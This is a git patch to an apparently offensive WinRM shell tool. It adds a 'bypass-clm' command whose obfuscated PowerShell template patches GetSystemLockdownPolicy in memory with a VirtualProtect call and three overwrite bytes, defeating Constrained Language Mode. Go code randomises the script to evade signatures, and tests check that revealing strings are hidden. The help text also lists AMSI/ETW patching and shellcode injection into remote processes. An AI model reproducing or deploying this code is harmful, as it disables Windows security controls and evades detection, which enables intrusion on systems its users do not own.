From fd904a0bbd19733bb8282ecb50bd883194f6c981 Mon Sep 17 00:00:00 2001 From: SREsAreHumanToo <88474954+sresarehumantoo@users.noreply.github.com> Date: Sat, 21 Nov 2026 11:11:47 -0500 Subject: [PATCH] Add bypass-clm command Patches GetSystemLockdownPolicy to return 0 (FullLanguage) via the same obfuscated multi-step template approach as bypass-4msi. Ported from bypass-clm's C# implementation. --- internal/shell/assets/bypass-clm.ps1.tmpl | 69 ++++++++++++++++++++ internal/shell/bypass4msi.go | 16 +++-- internal/shell/bypass4msi_test.go | 4 +- internal/shell/bypassclm.go | 73 +++++++++++++++++++++ internal/shell/bypassclm_test.go | 77 +++++++++++++++++++++++ internal/shell/shell.go | 6 +- 6 files changed, 236 insertions(+), 9 deletions(-) create mode 100644 internal/shell/assets/bypass-clm.ps1.tmpl create mode 100644 internal/shell/bypassclm.go create mode 100644 internal/shell/bypassclm_test.go diff --git a/internal/shell/assets/bypass-clm.ps1.tmpl b/internal/shell/assets/bypass-clm.ps1.tmpl new file mode 100644 index 0000000..130752c --- /dev/null +++ b/internal/shell/assets/bypass-clm.ps1.tmpl @@ -0,0 +1,69 @@ +function >>>< { + Param (>>><, >>><) + >>>< = ([AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { + $_.GlobalAssemblyCache -And $_.Location.Split(""+<><\<><+"")[-1].Equals(""+<><+"") + }).GetType("Microsoft."+<><+"safeNativeMethods") + >>><=@() + >>><.GetMethods() | ForEach-Object { + If($_.Name -like "Ge*P*oc*"+<><+"s") { + >>><+=$_ + } + } + >>>< = (>>><.GetMethod(""+<><+"odul"+<><+"dle")).Invoke($null, @(>>><)) + If (>>><[0].GetParameters()[0].ParameterType.Name -eq (""+<><+"")) { + >>>< = New-Object System.Runtime.InteropServices.HandleRef($null, >>><) + } + return >>><[0].Invoke($null, @(>>><, >>><)) +} +#jump +function >>>< { + Param ( + [Parameter(Position = 0, Mandatory = $True)] [Type[]] >>><, [Parameter(Position = 1)] [Type] >>>< = [Void] + ) + >>>< = [AppDomain]::CurrentDomain.DefineDynamicAssembly( + (New-Object System.Reflection.AssemblyName(""+<><+"lec"+<><+"legate")), + [System.Reflection.Emit.AssemblyBuilderAccess]::Run + ).DefineDynamicModule( + ""+<><+"emo"+<><+"Module", + $false + ).DefineType( + $(""+<><+""), + "Class, Public, Sealed, AnsiClass, AutoClass", + [System.MulticastDelegate] + ) + + >>><.DefineConstructor( + "RTSpecialName, HideBySig, Public", + [System.Reflection.CallingConventions]::Standard, >>>< + ).SetImplementationFlags("Runtime, Managed") + + >>><.DefineMethod( + "Invoke", + "Public, HideBySig, NewSlot, Virtual", + >>><, + >>>< + ).SetImplementationFlags("Runtime, Managed") + + return >>><.CreateType() +} +#jump +>>>< = [System.Management.Automation.ScriptBlock].Assembly.GetType(""+<><+"") +>>>< = >>><.GetMethod(""+<><+"", [System.Reflection.BindingFlags](""+<><+","+<><+"")) +>>>< = >>><.MethodHandle +[System.Runtime.CompilerServices.RuntimeHelpers]::PrepareMethod(>>><) +[IntPtr]>>>< = >>><.GetFunctionPointer() +#jump +>>>< = 0 +>>>< = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( + (>>>< $(""+<><+"") VirtualProtect), + (>>>< @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])) +) +#jump +>>>< = >>><.Invoke(>>><, 3, 0x40, [ref]>>><) +>>>< = [Byte[]] (0x29,0xc0,0xc3) +>>>< = [System.Runtime.InteropServices.Marshal]::Copy(>>><, 0, >>><, 3) +#jump +Remove-Item Function:>>>< +#jump +Remove-Item Function:>>>< diff --git a/internal/shell/bypass4msi.go b/internal/shell/bypass4msi.go index ef814a4..d38b11a 100644 --- a/internal/shell/bypass4msi.go +++ b/internal/shell/bypass4msi.go @@ -69,7 +69,7 @@ func (sh *Shell) bypass4MSI(ctx context.Context, sigs <-chan os.Signal) error { return nil } - script := obfuscateBypass(bypass4MSITemplate, rand.New(rand.NewSource(cryptoSeed()))) + script := obfuscateBypass(bypass4MSITemplate, 2, bypassVarCount, rand.New(rand.NewSource(cryptoSeed()))) steps := strings.Split(script, jumpMarker) if !sh.json && !sh.quiet { @@ -132,13 +132,11 @@ func (sh *Shell) bypass4MSI(ctx context.Context, sigs <-chan os.Signal) error { // // Four transformations, in upstream's order: function names, variable names, the // marked string literals, then keyword casing. -func obfuscateBypass(tmpl string, r *rand.Rand) string { - // Function and variable names. The trailing ">><" in each placeholder is what - // keeps VAR1 from also matching inside VAR12. - for i := 1; i <= 2; i++ { +func obfuscateBypass(tmpl string, funcs, vars int, r *rand.Rand) string { + for i := 1; i <= funcs; i++ { tmpl = strings.ReplaceAll(tmpl, fmt.Sprintf(">>><", i), "Get-"+randomIdent(r, 7, 17)) } - for i := 1; i <= bypassVarCount; i++ { + for i := 1; i <= vars; i++ { tmpl = strings.ReplaceAll(tmpl, fmt.Sprintf(">>><", i), "$"+randomIdent(r, 7, 17)) } tmpl = replaceMarkedStrings(tmpl, r) @@ -210,7 +208,10 @@ func oneCharExpression(c byte, r *rand.Rand) string { // casing changes nothing but the bytes a signature would match on. var bypassCaseWords = []string{ "System.Runtime.InteropServices.Marshal", + "System.Runtime.CompilerServices.RuntimeHelpers", + "System.Management.Automation.ScriptBlock", "System.Reflection.Emit.AssemblyBuilderAccess", + "System.Reflection.BindingFlags", "System.Reflection.CallingConventions", "System.Reflection.AssemblyName", "System.MulticastDelegate", @@ -220,6 +221,9 @@ var bypassCaseWords = []string{ ".DefineConstructor", ".DefineMethod", ".DefineDynamicModule", + ".PrepareMethod", + ".GetFunctionPointer", + ".MethodHandle", "function ", "ForEach-Object", "Where-Object", diff --git a/internal/shell/bypass4msi_test.go b/internal/shell/bypass4msi_test.go index 612eec0..e685143 100644 --- a/internal/shell/bypass4msi_test.go +++ b/internal/shell/bypass4msi_test.go @@ -9,7 +9,7 @@ import ( ) func obf(seed int64) string { - return obfuscateBypass(bypass4MSITemplate, rand.New(rand.NewSource(seed))) + return obfuscateBypass(bypass4MSITemplate, 2, bypassVarCount, rand.New(rand.NewSource(seed))) } // The whole point of the randomisation: the script that patches AMSI is itself @@ -47,7 +47,7 @@ func TestObfuscationConsumesEveryPlaceholder(t *testing.T) { // would then silently patch nothing. func TestVar1DoesNotClobberVar12(t *testing.T) { tmpl := ">>>< = 1\n>>>< = 2\n" - got := obfuscateBypass(tmpl, rand.New(rand.NewSource(7))) + got := obfuscateBypass(tmpl, 0, 12, rand.New(rand.NewSource(7))) names := regexp.MustCompile(`\$[A-Za-z0-9]+`).FindAllString(got, -1) if len(names) != 2 { t.Fatalf("got %d variables in %q, want 2", len(names), got) diff --git a/internal/shell/bypassclm.go b/internal/shell/bypassclm.go new file mode 100644 index 0000000..3c8dad0 --- /dev/null +++ b/internal/shell/bypassclm.go @@ -0,0 +1,73 @@ +package shell + +import ( + "context" + _ "embed" + "fmt" + "math/rand" + "os" + "strings" + "time" + + "github.com/sresarehumantoo/wsmancer/internal/output" +) + +//go:embed assets/bypass-clm.ps1.tmpl +var bypassCLMTemplate string + +const bypassCLMFuncCount = 2 +const bypassCLMVarCount = 16 + +func (sh *Shell) bypassCLM(ctx context.Context, sigs <-chan os.Signal) error { + if sh.clmBypassed { + if !sh.json && !sh.quiet { + fmt.Fprintf(sh.out, "%s CLM is already bypassed in this runspace\n", sh.c.Blue("Info:")) + } + return nil + } + + script := obfuscateBypass(bypassCLMTemplate, bypassCLMFuncCount, bypassCLMVarCount, rand.New(rand.NewSource(cryptoSeed()))) + steps := strings.Split(script, jumpMarker) + + if !sh.json && !sh.quiet { + fmt.Fprintf(sh.out, "%s bypassing CLM in %d steps (~%s)...\n", + sh.c.Blue("Info:"), len(steps), (time.Duration(len(steps)-1) * bypassStepPause).Round(time.Second)) + } + + for i, step := range steps { + if strings.TrimSpace(step) == "" { + continue + } + res, err := sh.s.RunRaw(ctx, step) + if err != nil { + return fmt.Errorf("step %d/%d: %w", i+1, len(steps), err) + } + if len(res.Errors) > 0 { + return fmt.Errorf("step %d/%d: %s", i+1, len(steps), + sanitizeTerminal(output.Text(res.Errors[0]))) + } + for _, v := range res.Output { + if s := strings.TrimSpace(output.Text(v)); s != "" { + return fmt.Errorf("step %d/%d: %s", i+1, len(steps), sanitizeTerminal(s)) + } + } + if i == len(steps)-1 { + break + } + select { + case <-sigs: + if !sh.json { + fmt.Fprintln(sh.out, sh.c.Yellow("^C (canceled part-way; CLM is NOT bypassed)")) + } + return errPayloadCancelled + case <-time.After(bypassStepPause): + } + } + + sh.clmBypassed = true + sh.log.Event("[bypass-clm] GetSystemLockdownPolicy patched") + if !sh.json && !sh.quiet { + fmt.Fprintf(sh.out, "%s CLM bypassed (FullLanguage)\n", sh.c.Blue("Info:")) + } + return nil +} diff --git a/internal/shell/bypassclm_test.go b/internal/shell/bypassclm_test.go new file mode 100644 index 0000000..8763c06 --- /dev/null +++ b/internal/shell/bypassclm_test.go @@ -0,0 +1,77 @@ +package shell + +import ( + "math/rand" + "strings" + "testing" +) + +func clmObf(seed int64) string { + return obfuscateBypass(bypassCLMTemplate, bypassCLMFuncCount, bypassCLMVarCount, rand.New(rand.NewSource(seed))) +} + +func TestCLMObfuscationLeavesNoTelltaleLiterals(t *testing.T) { + for seed := int64(1); seed <= 20; seed++ { + got := clmObf(seed) + for _, lit := range []string{ + "amsi.dll", "kernel32.dll", "System.dll", + "System.Management.Automation.Security.SystemPolicy", + "GetSystemLockdownPolicy", + } { + if strings.Contains(got, lit) { + t.Errorf("seed %d: script still contains the literal %q", seed, lit) + } + } + } +} + +func TestCLMObfuscationConsumesEveryPlaceholder(t *testing.T) { + for seed := int64(1); seed <= 20; seed++ { + got := clmObf(seed) + for _, frag := range []string{">><", "<><", "FUNCTION1", "FUNCTION2", "VAR1", "VAR12"} { + if strings.Contains(got, frag) { + t.Errorf("seed %d: unconsumed %q remains", seed, frag) + } + } + } +} + +func TestCLMPatchBytesAreUnchanged(t *testing.T) { + const patch = "0x29,0xc0,0xc3" + if !strings.Contains(bypassCLMTemplate, patch) { + t.Fatal("the template no longer carries the CLM patch bytes") + } + if !strings.Contains(clmObf(5), patch) { + t.Error("obfuscation altered the CLM patch bytes") + } +} + +func TestCLMTemplateSplitsIntoSteps(t *testing.T) { + steps := strings.Split(clmObf(9), jumpMarker) + if len(steps) != 7 { + t.Errorf("got %d steps, want 7", len(steps)) + } + for i, s := range steps { + if strings.TrimSpace(s) == "" { + t.Errorf("step %d is empty", i+1) + } + } +} + +func TestCLMObfuscationDiffersPerInvocation(t *testing.T) { + if clmObf(1) == clmObf(2) { + t.Error("two invocations produced identical scripts") + } +} + +func TestCLMObfuscatedScriptIsBalanced(t *testing.T) { + got := clmObf(23) + for _, pair := range []struct{ open, close string }{{"(", ")"}, {"{", "}"}, {"[", "]"}} { + if o, c := strings.Count(got, pair.open), strings.Count(got, pair.close); o != c { + t.Errorf("unbalanced %s%s: %d vs %d", pair.open, pair.close, o, c) + } + } + if n := strings.Count(got, `"`); n%2 != 0 { + t.Errorf("odd number of double quotes (%d)", n) + } +} diff --git a/internal/shell/shell.go b/internal/shell/shell.go index 65413f6..3e57bf1 100644 --- a/internal/shell/shell.go +++ b/internal/shell/shell.go @@ -77,6 +77,7 @@ type Shell struct { // so instead of re-patching bytes that are already patched (and whose helper // functions the payload removed on its way out). Mirrors upstream. amsiPatched bool + clmBypassed bool // once marks a -x shell: one command, then the process exits. It changes two // things, both because there is no next prompt to serve, a forgotten shell @@ -161,7 +162,7 @@ func (sh *Shell) openHistory() *history.Store { // completableVerbs are the built-ins offered when completing the first word. // Loaded post-ex functions and -s script names are added dynamically; see // verbCandidates. -var completableVerbs = []string{"bypass-4msi", "cls", "clear", "donut-loader", "download", "exit", "help", "invoke-binary", "menu", "quit", "services", "upload"} +var completableVerbs = []string{"bypass-4msi", "bypass-clm", "cls", "clear", "donut-loader", "download", "exit", "help", "invoke-binary", "menu", "quit", "services", "upload"} // completeWord is the Tab handler. It never returns an error: a failed or slow // completion yields no candidates rather than disturbing the prompt. @@ -364,6 +365,8 @@ func (sh *Shell) dispatch(ctx context.Context, sigs <-chan os.Signal, line strin return false, sh.donutLoader(ctx, sigs, line) case "bypass-4msi": return false, sh.bypass4MSI(ctx, sigs) + case "bypass-clm": + return false, sh.bypassCLM(ctx, sigs) } // A bare ".ps1" from the -s directory loads that script into the // runspace rather than running it as a remote command. @@ -775,6 +778,7 @@ Working now: donut-loader -process_id -donutfile inject local donut shellcode into a remote process (x64 only) bypass-4msi patch AmsiScanBuffer + EtwEventWrite (noisy; do it last) + bypass-clm patch GetSystemLockdownPolicy -> FullLanguage .ps1 load that script from the -s directory into the session menu list the functions loaded from your scripts services list non-system services, paths, and your access (privesc recon)